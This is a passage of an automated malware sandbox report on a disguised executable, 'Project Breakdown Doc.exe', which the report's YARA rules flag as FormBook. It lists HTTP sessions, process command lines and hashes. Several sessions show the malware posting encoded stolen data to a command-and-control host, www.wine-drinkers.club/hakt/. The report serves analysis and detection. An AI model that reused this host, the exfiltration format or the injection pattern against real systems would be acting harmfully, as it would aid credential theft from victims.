Nov 22, 2024 12:42:54.964817047 CET	1236	IN	Data Raw: 61 6c 22 20 69 6e 3d 22 53 6f 75 72 63 65 47 72 61 70 68 69 63 22 20 69 6e 32 3d 22 42 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 46 69 78 22 20 72 65 73 75 6c 74 3d 22 73 68 61 70 65 22 20 2f 3e 0a 09 09 09 09 09 09 09 09 3c 66 65 47 61 75 73 73 Data Ascii: al" in="SourceGraphic" in2="BackgroundImageFix" result="shape" /><feGaussianBlur stdDeviation="90" result="effect1_foregroundBlur_2001_5" /></filter></defs></svg><h1 class="window-main__title">Why am I seei
Nov 22, 2024 12:42:54.964829922 CET	1236	IN	Data Raw: 22 20 63 79 3d 22 31 33 34 2e 32 39 39 22 20 72 78 3d 22 31 31 32 2e 35 33 34 22 20 72 79 3d 22 31 33 34 2e 32 39 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 6d 61 74 72 69 78 28 2d 30 2e 39 31 36 33 36 36 20 30 2e 34 30 30 33 34 31 20 2d 30 2e 31 Data Ascii: " cy="134.299" rx="112.534" ry="134.299" transform="matrix(-0.916366 0.400341 -0.15071 -0.988578 379.183 586.577)" fill="#15B1F9" /></g><g opacity="0.8" filter="url(#filter1_f_2001_10)"><path d="M259.743 638.552C361.981 4
Nov 22, 2024 12:42:54.976654053 CET	167	IN	Data Raw: 44 65 76 69 61 74 69 6f 6e 3d 22 39 30 22 20 72 65 73 75 6c 74 3d 22 65 66 66 65 63 74 31 5f 66 6f 72 65 67 72 6f 75 6e 64 42 6c 75 72 5f 32 30 30 31 5f 31 30 22 20 2f 3e 0a 09 09 09 09 09 09 09 3c 2f 66 69 6c 74 65 72 3e 0a 09 09 09 09 09 09 3c Data Ascii: Deviation="90" result="effect1_foregroundBlur_2001_10" /></filter></defs></svg></div></section></main></div></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49882	194.245.148.189	80	4548	C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 12:43:00.595241070 CET	725	OUT	POST /hakt/ HTTP/1.1 Host: www.wine-drinkers.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 200 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.wine-drinkers.club Referer: http://www.wine-drinkers.club/hakt/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 41 46 46 3d 55 31 38 35 2b 65 78 39 49 6a 39 41 58 51 65 43 6a 4c 75 6c 52 78 51 54 4c 74 67 6d 35 64 52 52 46 6c 5a 2b 33 47 4e 68 69 2b 44 57 67 61 47 55 45 38 6f 66 42 6c 45 79 78 33 75 37 77 4e 67 32 6d 62 6e 38 6e 37 5a 34 78 4c 4c 36 50 49 6e 30 51 6a 48 65 44 2f 70 66 4c 34 79 30 54 2f 67 77 74 79 4c 69 36 7a 5a 69 63 43 6f 4b 45 7a 67 46 57 6c 4e 6f 75 68 36 4d 6b 69 66 79 66 74 57 75 34 32 47 57 6d 61 41 68 52 6a 7a 37 55 6a 38 66 2f 68 62 38 58 51 54 57 46 79 52 48 31 4a 58 58 43 74 54 54 5a 5a 41 57 4d 35 66 74 66 7a 76 61 6f 75 61 75 47 57 6d 49 2f 75 69 7a 55 4b 4e 55 41 41 3d 3d Data Ascii: AFF=U185+ex9Ij9AXQeCjLulRxQTLtgm5dRRFlZ+3GNhi+DWgaGUE8ofBlEyx3u7wNg2mbn8n7Z4xLL6PIn0QjHeD/pfL4y0T/gwtyLi6zZicCoKEzgFWlNouh6MkifyftWu42GWmaAhRjz7Uj8f/hb8XQTWFyRH1JXXCtTTZZAWM5ftfzvaouauGWmI/uizUKNUAA==
Nov 22, 2024 12:43:01.931945086 CET	725	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 22 Nov 2024 11:43:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED] Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49888	194.245.148.189	80	4548	C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 12:43:03.552467108 CET	745	OUT	POST /hakt/ HTTP/1.1 Host: www.wine-drinkers.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 220 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.wine-drinkers.club Referer: http://www.wine-drinkers.club/hakt/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 41 46 46 3d 55 31 38 35 2b 65 78 39 49 6a 39 41 57 77 75 43 76 4d 43 6c 58 52 51 51 46 4e 67 6d 69 4e 52 4e 46 6c 46 2b 33 48 5a 50 6a 4d 58 57 68 2f 36 55 46 39 6f 66 45 6c 45 79 37 58 75 36 36 74 67 35 6d 61 62 65 6e 36 6c 34 78 4c 50 36 50 4d 6a 30 51 51 2b 73 43 76 70 5a 44 59 79 32 51 50 67 77 74 79 4c 69 36 31 31 62 63 43 67 4b 46 44 77 46 55 41 68 72 74 68 36 4c 6a 69 66 79 56 39 57 71 34 32 48 37 6d 65 59 4c 52 67 4c 37 55 68 30 66 78 55 6e 7a 65 51 54 51 4c 53 51 34 39 5a 4f 53 61 64 65 75 64 62 73 73 4c 64 4c 37 65 31 69 41 35 66 37 35 55 57 43 37 69 70 72 48 5a 4a 77 64 62 4e 65 67 30 75 73 58 72 44 6a 61 72 76 6f 4e 43 4b 79 58 53 77 51 3d Data Ascii: AFF=U185+ex9Ij9AWwuCvMClXRQQFNgmiNRNFlF+3HZPjMXWh/6UF9ofElEy7Xu66tg5maben6l4xLP6PMj0QQ+sCvpZDYy2QPgwtyLi611bcCgKFDwFUAhrth6LjifyV9Wq42H7meYLRgL7Uh0fxUnzeQTQLSQ49ZOSadeudbssLdL7e1iA5f75UWC7iprHZJwdbNeg0usXrDjarvoNCKyXSwQ=
Nov 22, 2024 12:43:04.796037912 CET	725	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 22 Nov 2024 11:43:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED] Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49899	194.245.148.189	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 12:43:06.668729067 CET	10827	OUT	POST /hakt/ HTTP/1.1 Host: www.wine-drinkers.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 10300 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.wine-drinkers.club Referer: http://www.wine-drinkers.club/hakt/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 41 46 46 3d 55 31 38 35 2b 65 78 39 49 6a 39 41 57 77 75 43 76 4d 43 6c 58 52 51 51 46 4e 67 6d 69 4e 52 4e 46 6c 46 2b 33 48 5a 50 6a 4e 76 57 67 4e 43 55 44 65 41 66 48 6c 45 79 33 33 75 33 36 74 67 6b 6d 62 7a 61 6e 36 6f 44 78 4a 6e 36 4e 76 72 30 48 52 2b 73 4d 66 70 5a 50 34 79 37 54 2f 68 30 74 79 62 6d 36 7a 56 62 63 43 67 4b 46 46 30 46 51 56 4e 72 68 42 36 4d 6b 69 66 2b 66 74 57 53 34 77 75 4f 6d 65 55 78 51 52 72 37 55 43 63 66 7a 6d 50 7a 52 51 54 53 62 43 51 67 39 5a 79 5a 61 64 53 31 64 66 73 47 4c 61 6a 37 64 69 4c 33 72 64 2b 67 46 51 4f 31 78 37 76 46 65 72 64 63 59 4d 66 64 79 2f 73 54 78 6e 58 45 6d 76 42 6f 64 49 69 72 4c 31 4b 72 68 76 4b 65 38 2b 55 47 49 75 36 34 4f 4b 44 38 34 4a 65 39 6d 32 76 4a 56 38 59 78 48 48 6b 66 54 48 4f 6d 6e 54 2b 71 7a 46 2f 44 55 36 71 67 34 6c 6d 69 6e 44 6f 6f 4e 36 56 48 31 42 59 77 52 32 51 67 48 6d 56 4e 4c 63 77 46 64 43 4c 52 4b 55 51 6d 49 61 78 2b 77 61 42 53 6c 6f 6e 77 38 4d 34 49 66 64 4b 54 45 57 30 33 6d 75 52 35 45 6a 30 4c 61 47 [TRUNCATED] Data Ascii: AFF=U185+ex9Ij9AWwuCvMClXRQQFNgmiNRNFlF+3HZPjNvWgNCUDeAfHlEy33u36tgkmbzan6oDxJn6Nvr0HR+sMfpZP4y7T/h0tybm6zVbcCgKFF0FQVNrhB6Mkif+ftWS4wuOmeUxQRr7UCcfzmPzRQTSbCQg9ZyZadS1dfsGLaj7diL3rd+gFQO1x7vFerdcYMfdy/sTxnXEmvBodIirL1KrhvKe8+UGIu64OKD84Je9m2vJV8YxHHkfTHOmnT+qzF/DU6qg4lminDooN6VH1BYwR2QgHmVNLcwFdCLRKUQmIax+waBSlonw8M4IfdKTEW03muR5Ej0LaGGSBp6ZUsnE535D94gC6Gc1VIT4aFBp/uJwJv1yzLlVvIp7uQTQTbVzV1qBP9WldnQgpBs1fre7M1oTjweK+JdDH1XUDm4CgzSrw4zGouOpwmV6FHIX8HHOpxRknmHXC/sOE+smdDY7uhRXqhXBjdcz5i9c79tyYOmxtxW4nccCx9tEX9tUq9iEf3wBvK6blsBy80Rlg8vIwtRY9iE+GV1LQxAmCdZQBav0q4UX+52sPeViQc9ckBUV4RShksZgeyBh0vc66HUJ0sMEBqCUKNl2lKUdFst4qezfsTYhAg8PovD/u+IDMbJcii4wYEIWx+6zE+6VR0K7kKtbqJE2lD1ynHeB5jqzlK183z7X1YX9Pwluh9HKoGXChS9DxfsnsM15BtroxHJ+aHqy2C0xZFal4kbdqgxhlrD3pJ68a3pMBdLSK2EGQGHVkE+lmw/vAshXyNt6vOwhDJ+8tKAVoQBucc1weguWUqDLW+RKJe2IWe8hz2xpRYfLJ9r8EJnIFFMx3j/M4HGODYVYI/l3m0fP0N7bzf3pp1YBxIuo8otY23ZFx+yW7LRGqH3iQpCHaKIRq+2++UN8kgX80R/DDoeIRCn7PmDt2EmMl5wxhMxAEcg+uYaf191mQXa/wisabi+7r4tWPBSf1kXHIRSZuQygVgL/aS+NFE6S [TRUNCATED]
Nov 22, 2024 12:43:08.086833000 CET	725	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 22 Nov 2024 11:43:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED] Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Target ID:	0
Start time:	06:40:58
Start date:	22/11/2024
Path:	C:\Users\user\Desktop\Project Breakdown Doc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Project Breakdown Doc.exe"
Imagebase:	0xc40000
File size:	1'368'576 bytes
MD5 hash:	BF7D24A56C64E6632FF2CA51F08908F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	06:40:59
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Project Breakdown Doc.exe"
Imagebase:	0xd90000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2259560056.0000000003960000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2259200561.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2260126536.0000000004C00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	06:41:48
Start date:	22/11/2024
Path:	C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe"
Imagebase:	0x60000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2936946828.0000000003450000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	06:41:50
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\powercfg.exe"
Imagebase:	0xe90000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2936457400.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2936746920.0000000003470000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2935024128.0000000000D20000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	06:42:04
Start date:	22/11/2024
Path:	C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe"
Imagebase:	0x60000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.2938680835.0000000004CA0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	06:42:17
Start date:	22/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true